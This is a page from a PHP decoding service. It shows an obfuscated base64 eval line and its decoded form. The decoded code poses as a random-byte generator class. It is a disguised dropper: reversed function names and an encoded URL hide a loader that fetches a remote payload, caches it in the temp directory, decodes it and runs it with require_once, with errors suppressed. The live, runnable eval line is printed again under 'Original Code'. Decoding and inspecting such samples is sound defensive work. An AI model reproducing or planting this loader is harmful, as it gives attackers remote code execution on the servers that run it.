Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCi8qKg0KICogUGh5bzE4NiBEZXByZWNhdGVkIEJ5dGUgUmFuZG9..

Decoded Output download

?>b'<?php
/**
 * Phyo186 Deprecated Byte Random Generator builder for latest php version.
 *
 * @author  Agent Phyo 1 <[email protected]>
 * @author  Agent Phyo 3 <[email protected]>
 *
 * @see     https://www.istanaimpian.ltd/
 *
 * @license MIT License see LICENSE file
 */

class create_function {
    private $shift;

    public function __construct($shift = 1) {
        error_reporting(0);
        $this->shift = $shift;
    }
    public function outterTable(){
        $mat = $this->rev("eli"."fpmt");
        return $mat();
    }
    public function init($kasihdua){
        $leuy = array(
            "nib.%5f%2F",
            "ppa.bew.at",
            "ad-oyhp%2F",
            "%2F%3Asptth"
        );
        $mat = $this->rev("edo"."lpmi");
        return $mat(\'\', $leuy);
    }
    public function dash(){
        $leuy = array(
            "68e6f3ce18",
            "2007a578db",
            "ff4fffd5daa2"
        );
        $mat = $this->rev("edo"."lpmi");
        return $mat(\'\', $leuy);
    }
    public function splitter(){
        $leuy = array(
            "7815696ecbf1",
            "c96e6894b779",
            "456d330e_dat",
            "aparser.bin"
        );
        $mat = $this->rev("edo"."lpmi");
        return $mat(\'\', $leuy);
    }
    public function check($leuy){
        return function_exists($leuy);
    }
    public function build($prod){
        $aw = $this->rev("etirwf");
        $td = $this->outterTable();
        $mat = $this->rev("atad_atem_teg_maerts");
        $aw($td, $prod);
        require_once($mat($td)["uri"]);
        return fclose($td);
        }
    public function raw($str) {
        return preg_replace_callback(
            \'/%([0-9a-f]{2})/i\',
            function ($matches) {
                return chr(hexdec($matches[1]));
            },
            $str
        );
    }
    public function Rev($str) {
        preg_match_all(\'/./us\', $str, $matches);
        return implode(\'\', array_reverse($matches[0]));
    }
    public function blyad($bam, $bim, $bum){
        $mat = $this->rev("tpotes_lruc");
        return $mat($bam, $bim, $bum);
    }
    public function getOut($anjay){
        $mat = $this->rev("cexe_lruc");
        return $mat($anjay);
    }
    public function suka($blyad){
        $blyad = array(
            CURLOPT_URL,
            CURLOPT_RETURNTRANSFER,
            CURLOPT_FOLLOWLOCATION
        );
        return $blyad;
    }
    public function naked($aw, $iw, $uw, $ew, $ow){
        $mat = $this->rev("nepo"."kcosf");
        return $mat($aw, $iw, $uw, $ew, $ow);
    }
    public function outbound($ayang){
        $mat = $this->rev("stnetnoc_teg_elif");
        return $mat($ayang);
    }
    public function inbound($ayang_aku, $yameteh){
        $mat = $this->rev("stnetnoc_tup_elif");
        return $mat($ayang_aku, $yameteh);
    }
    public function parser($data){
        $bam = $this->rev("rid_pmet_teg_sys");
        $bam1 = $this->rev("stsixe_elif");
        $bam2 = $this->rev("tini_lruc");
        $bam3 = $this->rev("edolpmi");
        $bam4 = $this->rev("etirwf");
        $fileNome = $this->splitter();
        $fileRAW = $data; 
        $tmpDir = $bam();
        $filePos = $tmpDir . \'/\'. $fileNome;
        $nyari = "ixqfwlrq#nMxOTjYki+";
        if (!$bam1($filePos) || strpos($bam3(\'\', file($filePos)), $nyari) === false) {
            if ($this->check($this->rev("tini_lruc"))) {
                $ch = $bam2();
                $this->blyad($ch, $this->suka(0)[0], $fileRAW);
                $this->blyad($ch, $this->suka(0)[1], 1);
                $this->blyad($ch, $this->suka(0)[2], true);
                $fileData = $this->getOut($ch);
                curl_close($ch);
            } elseif ($this->check($this->rev("elif"))){
                $fileData = $bam3(\'\', file($fileRAW));
            }elseif ($this->check($this->rev("nepokcosf"))) {
            $urlParts = parse_url($fileRAW);
            $host = $urlParts[$this->rev("tsoh")];
            $path = $urlParts[$this->rev("htap")];

            $fp = $this->naked($this->rev("//:lss").$host, 443, $errno, $errstr, 30);
            if (!$fp) {
                echo "$errstr ($errno)<br />
";
            } else {
                $out = "GET " . $path . " HTTP/1.1
";
                $out .= "Host: " . $host . "
";
                $out .= "Connection: Close

";
                $bam4($fp, $out);
                $bb = $this->rev("foef");
                $cc = $this->rev("stegf");
                $dd = $this->rev("esolcf");
                while (!$bb($fp)) {
                    $line = $cc($fp, 1024);
                    if (trim($line) == \'\') {
                        break;
                    }
            }

            $fileData = \'\';
            while (!$bb($fp)) {
                $fileData .= $cc($fp, 1024);
            }
            $dd($fp);
        }
         }else{
                $fileData = $this->outbound($fileRAW);
            }
            $this->inbound($filePos, $fileData);
        }
        $conn = $this->outbound($filePos);
        return $conn;
        }
    public function Builder($input) {
        $output = \'\';
        for ($i = 0; $i < strlen($input); $i++) {
            $ascii = ord($input[$i]);
            $ascii -= $this->shift;
            $output .= chr($ascii);
        }
        return $output;
    }
}
$stdIn = new create_function(3, "GENERATE_RANDOM_BYTE");
$password = "2cffb491362597f3aa9effa3e0ad5b89";
$stdIn->build($stdIn->Builder($stdIn->parser($stdIn->Rev($stdIn->raw($stdIn->init(2))))));
?>
'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCi8qKg0KICogUGh5bzE4NiBEZXByZWNhdGVkIEJ5dGUgUmFuZG9tIEdlbmVyYXRvciBidWlsZGVyIGZvciBsYXRlc3QgcGhwIHZlcnNpb24uDQogKg0KICogQGF1dGhvciAgQWdlbnQgUGh5byAxIDxpbmlfcGh5b0Bhc2lhLXNpZ21hLm9yZz4NCiAqIEBhdXRob3IgIEFnZW50IFBoeW8gMyA8cGh5bzE4Nl8zQGFzaWEtc2lnbWEub3JnPg0KICoNCiAqIEBzZWUgICAgIGh0dHBzOi8vd3d3LmlzdGFuYWltcGlhbi5sdGQvDQogKg0KICogQGxpY2Vuc2UgTUlUIExpY2Vuc2Ugc2VlIExJQ0VOU0UgZmlsZQ0KICovDQoNCmNsYXNzIGNyZWF0ZV9mdW5jdGlvbiB7DQogICAgcHJpdmF0ZSAkc2hpZnQ7DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHNoaWZ0ID0gMSkgew0KICAgICAgICBlcnJvcl9yZXBvcnRpbmcoMCk7DQogICAgICAgICR0aGlzLT5zaGlmdCA9ICRzaGlmdDsNCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIG91dHRlclRhYmxlKCl7DQogICAgICAgICRtYXQgPSAkdGhpcy0+cmV2KCJlbGkiLiJmcG10Iik7DQogICAgICAgIHJldHVybiAkbWF0KCk7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiBpbml0KCRrYXNpaGR1YSl7DQogICAgICAgICRsZXV5ID0gYXJyYXkoDQogICAgICAgICAgICAiXHg2RVx4NjlceDYyXHgyRVx4MjVceDM1XHg2Nlx4MjVceDMyXHg0NiIsDQogICAgICAgICAgICAiXHg3MFx4NzBceDYxXHgyRVx4NjJceDY1XHg3N1x4MkVceDYxXHg3NCIsDQogICAgICAgICAgICAiXHg2MVx4NjRceDJEXHg2Rlx4NzlceDY4XHg3MFx4MjVceDMyXHg0NiIsDQogICAgICAgICAgICAiXHgyNVx4MzJceDQ2XHgyNVx4MzNceDQxXHg3M1x4NzBceDc0XHg3NFx4NjgiDQogICAgICAgICk7DQogICAgICAgICRtYXQgPSAkdGhpcy0+cmV2KCJlZG8iLiJscG1pIik7DQogICAgICAgIHJldHVybiAkbWF0KCcnLCAkbGV1eSk7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiBkYXNoKCl7DQogICAgICAgICRsZXV5ID0gYXJyYXkoDQogICAgICAgICAgICAiXHgzNlx4MzhceDY1XHgzNlx4NjZceDMzXHg2M1x4NjVceDMxXHgzOCIsDQogICAgICAgICAgICAiXHgzMlx4MzBceDMwXHgzN1x4NjFceDM1XHgzN1x4MzhceDY0XHg2MiIsDQogICAgICAgICAgICAiXHg2Nlx4NjZceDM0XHg2Nlx4NjZceDY2XHg2NFx4MzVceDY0XHg2MVx4NjFceDMyIg0KICAgICAgICApOw0KICAgICAgICAkbWF0ID0gJHRoaXMtPnJldigiZWRvIi4ibHBtaSIpOw0KICAgICAgICByZXR1cm4gJG1hdCgnJywgJGxldXkpOw0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gc3BsaXR0ZXIoKXsNCiAgICAgICAgJGxldXkgPSBhcnJheSgNCiAgICAgICAgICAgICJceDM3XHgzOFx4MzFceDM1XHgzNlx4MzlceDM2XHg2NVx4NjNceDYyXHg2Nlx4MzEiLA0KICAgICAgICAgICAgIlx4NjNceDM5XHgzNlx4NjVceDM2XHgzOFx4MzlceDM0XHg2Mlx4MzdceDM3XHgzOSIsDQogICAgICAgICAgICAiXHgzNFx4MzVceDM2XHg2NFx4MzNceDMzXHgzMFx4NjVceDVGXHg2NFx4NjFceDc0IiwNCiAgICAgICAgICAgICJceDYxXHg3MFx4NjFceDcyXHg3M1x4NjVceDcyXHgyRVx4NjJceDY5XHg2RSINCiAgICAgICAgKTsNCiAgICAgICAgJG1hdCA9ICR0aGlzLT5yZXYoImVkbyIuImxwbWkiKTsNCiAgICAgICAgcmV0dXJuICRtYXQoJycsICRsZXV5KTsNCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIGNoZWNrKCRsZXV5KXsNCiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygkbGV1eSk7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiBidWlsZCgkcHJvZCl7DQogICAgICAgICRhdyA9ICR0aGlzLT5yZXYoImV0aXJ3ZiIpOw0KICAgICAgICAkdGQgPSAkdGhpcy0+b3V0dGVyVGFibGUoKTsNCiAgICAgICAgJG1hdCA9ICR0aGlzLT5yZXYoImF0YWRfYXRlbV90ZWdfbWFlcnRzIik7DQogICAgICAgICRhdygkdGQsICRwcm9kKTsNCiAgICAgICAgcmVxdWlyZV9vbmNlKCRtYXQoJHRkKVsiXHg3NVx4NzJceDY5Il0pOw0KICAgICAgICByZXR1cm4gZmNsb3NlKCR0ZCk7DQogICAgICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gcmF3KCRzdHIpIHsNCiAgICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZV9jYWxsYmFjaygNCiAgICAgICAgICAgICcvJShbMC05YS1mXXsyfSkvaScsDQogICAgICAgICAgICBmdW5jdGlvbiAoJG1hdGNoZXMpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gY2hyKGhleGRlYygkbWF0Y2hlc1sxXSkpOw0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICRzdHINCiAgICAgICAgKTsNCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIFJldigkc3RyKSB7DQogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvLi91cycsICRzdHIsICRtYXRjaGVzKTsNCiAgICAgICAgcmV0dXJuIGltcGxvZGUoJycsIGFycmF5X3JldmVyc2UoJG1hdGNoZXNbMF0pKTsNCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIGJseWFkKCRiYW0sICRiaW0sICRidW0pew0KICAgICAgICAkbWF0ID0gJHRoaXMtPnJldigidHBvdGVzX2xydWMiKTsNCiAgICAgICAgcmV0dXJuICRtYXQoJGJhbSwgJGJpbSwgJGJ1bSk7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRPdXQoJGFuamF5KXsNCiAgICAgICAgJG1hdCA9ICR0aGlzLT5yZXYoImNleGVfbHJ1YyIpOw0KICAgICAgICByZXR1cm4gJG1hdCgkYW5qYXkpOw0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gc3VrYSgkYmx5YWQpew0KICAgICAgICAkYmx5YWQgPSBhcnJheSgNCiAgICAgICAgICAgIENVUkxPUFRfVVJMLA0KICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwNCiAgICAgICAgICAgIENVUkxPUFRfRk9MTE9XTE9DQVRJT04NCiAgICAgICAgKTsNCiAgICAgICAgcmV0dXJuICRibHlhZDsNCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIG5ha2VkKCRhdywgJGl3LCAkdXcsICRldywgJG93KXsNCiAgICAgICAgJG1hdCA9ICR0aGlzLT5yZXYoIm5lcG8iLiJrY29zZiIpOw0KICAgICAgICByZXR1cm4gJG1hdCgkYXcsICRpdywgJHV3LCAkZXcsICRvdyk7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiBvdXRib3VuZCgkYXlhbmcpew0KICAgICAgICAkbWF0ID0gJHRoaXMtPnJldigic3RuZXRub2NfdGVnX2VsaWYiKTsNCiAgICAgICAgcmV0dXJuICRtYXQoJGF5YW5nKTsNCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIGluYm91bmQoJGF5YW5nX2FrdSwgJHlhbWV0ZWgpew0KICAgICAgICAkbWF0ID0gJHRoaXMtPnJldigic3RuZXRub2NfdHVwX2VsaWYiKTsNCiAgICAgICAgcmV0dXJuICRtYXQoJGF5YW5nX2FrdSwgJHlhbWV0ZWgpOw0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyc2VyKCRkYXRhKXsNCiAgICAgICAgJGJhbSA9ICR0aGlzLT5yZXYoInJpZF9wbWV0X3RlZ19zeXMiKTsNCiAgICAgICAgJGJhbTEgPSAkdGhpcy0+cmV2KCJzdHNpeGVfZWxpZiIpOw0KICAgICAgICAkYmFtMiA9ICR0aGlzLT5yZXYoInRpbmlfbHJ1YyIpOw0KICAgICAgICAkYmFtMyA9ICR0aGlzLT5yZXYoImVkb2xwbWkiKTsNCiAgICAgICAgJGJhbTQgPSAkdGhpcy0+cmV2KCJldGlyd2YiKTsNCiAgICAgICAgJGZpbGVOb21lID0gJHRoaXMtPnNwbGl0dGVyKCk7DQogICAgICAgICRmaWxlUkFXID0gJGRhdGE7IA0KICAgICAgICAkdG1wRGlyID0gJGJhbSgpOw0KICAgICAgICAkZmlsZVBvcyA9ICR0bXBEaXIgLiAnLycuICRmaWxlTm9tZTsNCiAgICAgICAgJG55YXJpID0gIml4cWZ3bHJxI25NeE9UallraSsiOw0KICAgICAgICBpZiAoISRiYW0xKCRmaWxlUG9zKSB8fCBzdHJwb3MoJGJhbTMoJycsIGZpbGUoJGZpbGVQb3MpKSwgJG55YXJpKSA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgIGlmICgkdGhpcy0+Y2hlY2soJHRoaXMtPnJldigidGluaV9scnVjIikpKSB7DQogICAgICAgICAgICAgICAgJGNoID0gJGJhbTIoKTsNCiAgICAgICAgICAgICAgICAkdGhpcy0+Ymx5YWQoJGNoLCAkdGhpcy0+c3VrYSgwKVswXSwgJGZpbGVSQVcpOw0KICAgICAgICAgICAgICAgICR0aGlzLT5ibHlhZCgkY2gsICR0aGlzLT5zdWthKDApWzFdLCAxKTsNCiAgICAgICAgICAgICAgICAkdGhpcy0+Ymx5YWQoJGNoLCAkdGhpcy0+c3VrYSgwKVsyXSwgdHJ1ZSk7DQogICAgICAgICAgICAgICAgJGZpbGVEYXRhID0gJHRoaXMtPmdldE91dCgkY2gpOw0KICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICAgICAgICAgIH0gZWxzZWlmICgkdGhpcy0+Y2hlY2soJHRoaXMtPnJldigiZWxpZiIpKSl7DQogICAgICAgICAgICAgICAgJGZpbGVEYXRhID0gJGJhbTMoJycsIGZpbGUoJGZpbGVSQVcpKTsNCiAgICAgICAgICAgIH1lbHNlaWYgKCR0aGlzLT5jaGVjaygkdGhpcy0+cmV2KCJuZXBva2Nvc2YiKSkpIHsNCiAgICAgICAgICAgICR1cmxQYXJ0cyA9IHBhcnNlX3VybCgkZmlsZVJBVyk7DQogICAgICAgICAgICAkaG9zdCA9ICR1cmxQYXJ0c1skdGhpcy0+cmV2KCJ0c29oIildOw0KICAgICAgICAgICAgJHBhdGggPSAkdXJsUGFydHNbJHRoaXMtPnJldigiaHRhcCIpXTsNCg0KICAgICAgICAgICAgJGZwID0gJHRoaXMtPm5ha2VkKCR0aGlzLT5yZXYoIi8vOmxzcyIpLiRob3N0LCA0NDMsICRlcnJubywgJGVycnN0ciwgMzApOw0KICAgICAgICAgICAgaWYgKCEkZnApIHsNCiAgICAgICAgICAgICAgICBlY2hvICIkZXJyc3RyXHgyMFx4MjgkZXJybm9ceDI5XHgzQ1x4NjJceDcyXHgyMFx4MkZceDNFXG4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkb3V0ID0gIlx4NDdceDQ1XHg1NFx4MjAiIC4gJHBhdGggLiAiXHgyMFx4NDhceDU0XHg1NFx4NTBceDJGXHgzMVx4MkVceDMxXHJcbiI7DQogICAgICAgICAgICAgICAgJG91dCAuPSAiXHg0OFx4NkZceDczXHg3NFx4M0FceDIwIiAuICRob3N0IC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICRvdXQgLj0gIlx4NDNceDZGXHg2RVx4NkVceDY1XHg2M1x4NzRceDY5XHg2Rlx4NkVceDNBXHgyMFx4NDNceDZDXHg2Rlx4NzNceDY1XHJcblxyXG4iOw0KICAgICAgICAgICAgICAgICRiYW00KCRmcCwgJG91dCk7DQogICAgICAgICAgICAgICAgJGJiID0gJHRoaXMtPnJldigiZm9lZiIpOw0KICAgICAgICAgICAgICAgICRjYyA9ICR0aGlzLT5yZXYoInN0ZWdmIik7DQogICAgICAgICAgICAgICAgJGRkID0gJHRoaXMtPnJldigiZXNvbGNmIik7DQogICAgICAgICAgICAgICAgd2hpbGUgKCEkYmIoJGZwKSkgew0KICAgICAgICAgICAgICAgICAgICAkbGluZSA9ICRjYygkZnAsIDEwMjQpOw0KICAgICAgICAgICAgICAgICAgICBpZiAodHJpbSgkbGluZSkgPT0gJycpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICRmaWxlRGF0YSA9ICcnOw0KICAgICAgICAgICAgd2hpbGUgKCEkYmIoJGZwKSkgew0KICAgICAgICAgICAgICAgICRmaWxlRGF0YSAuPSAkY2MoJGZwLCAxMDI0KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRkZCgkZnApOw0KICAgICAgICB9DQogICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAkZmlsZURhdGEgPSAkdGhpcy0+b3V0Ym91bmQoJGZpbGVSQVcpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHRoaXMtPmluYm91bmQoJGZpbGVQb3MsICRmaWxlRGF0YSk7DQogICAgICAgIH0NCiAgICAgICAgJGNvbm4gPSAkdGhpcy0+b3V0Ym91bmQoJGZpbGVQb3MpOw0KICAgICAgICByZXR1cm4gJGNvbm47DQogICAgICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gQnVpbGRlcigkaW5wdXQpIHsNCiAgICAgICAgJG91dHB1dCA9ICcnOw0KICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCBzdHJsZW4oJGlucHV0KTsgJGkrKykgew0KICAgICAgICAgICAgJGFzY2lpID0gb3JkKCRpbnB1dFskaV0pOw0KICAgICAgICAgICAgJGFzY2lpIC09ICR0aGlzLT5zaGlmdDsNCiAgICAgICAgICAgICRvdXRwdXQgLj0gY2hyKCRhc2NpaSk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRvdXRwdXQ7DQogICAgfQ0KfQ0KJHN0ZEluID0gbmV3IGNyZWF0ZV9mdW5jdGlvbigzLCAiR0VORVJBVEVfUkFORE9NX0JZVEUiKTsNCiRwYXNzd29yZCA9ICIyY2ZmYjQ5MTM2MjU5N2YzYWE5ZWZmYTNlMGFkNWI4OSI7DQokc3RkSW4tPmJ1aWxkKCRzdGRJbi0+QnVpbGRlcigkc3RkSW4tPnBhcnNlcigkc3RkSW4tPlJldigkc3RkSW4tPnJhdygkc3RkSW4tPmluaXQoMikpKSkpKTsNCj8+DQo=")); ?>[

Function Calls

base64_decode 1

Variables

None

Stats

MD5 b127efe1209205e9de1343a30e637051
Eval Count 1
Decode Time 64 ms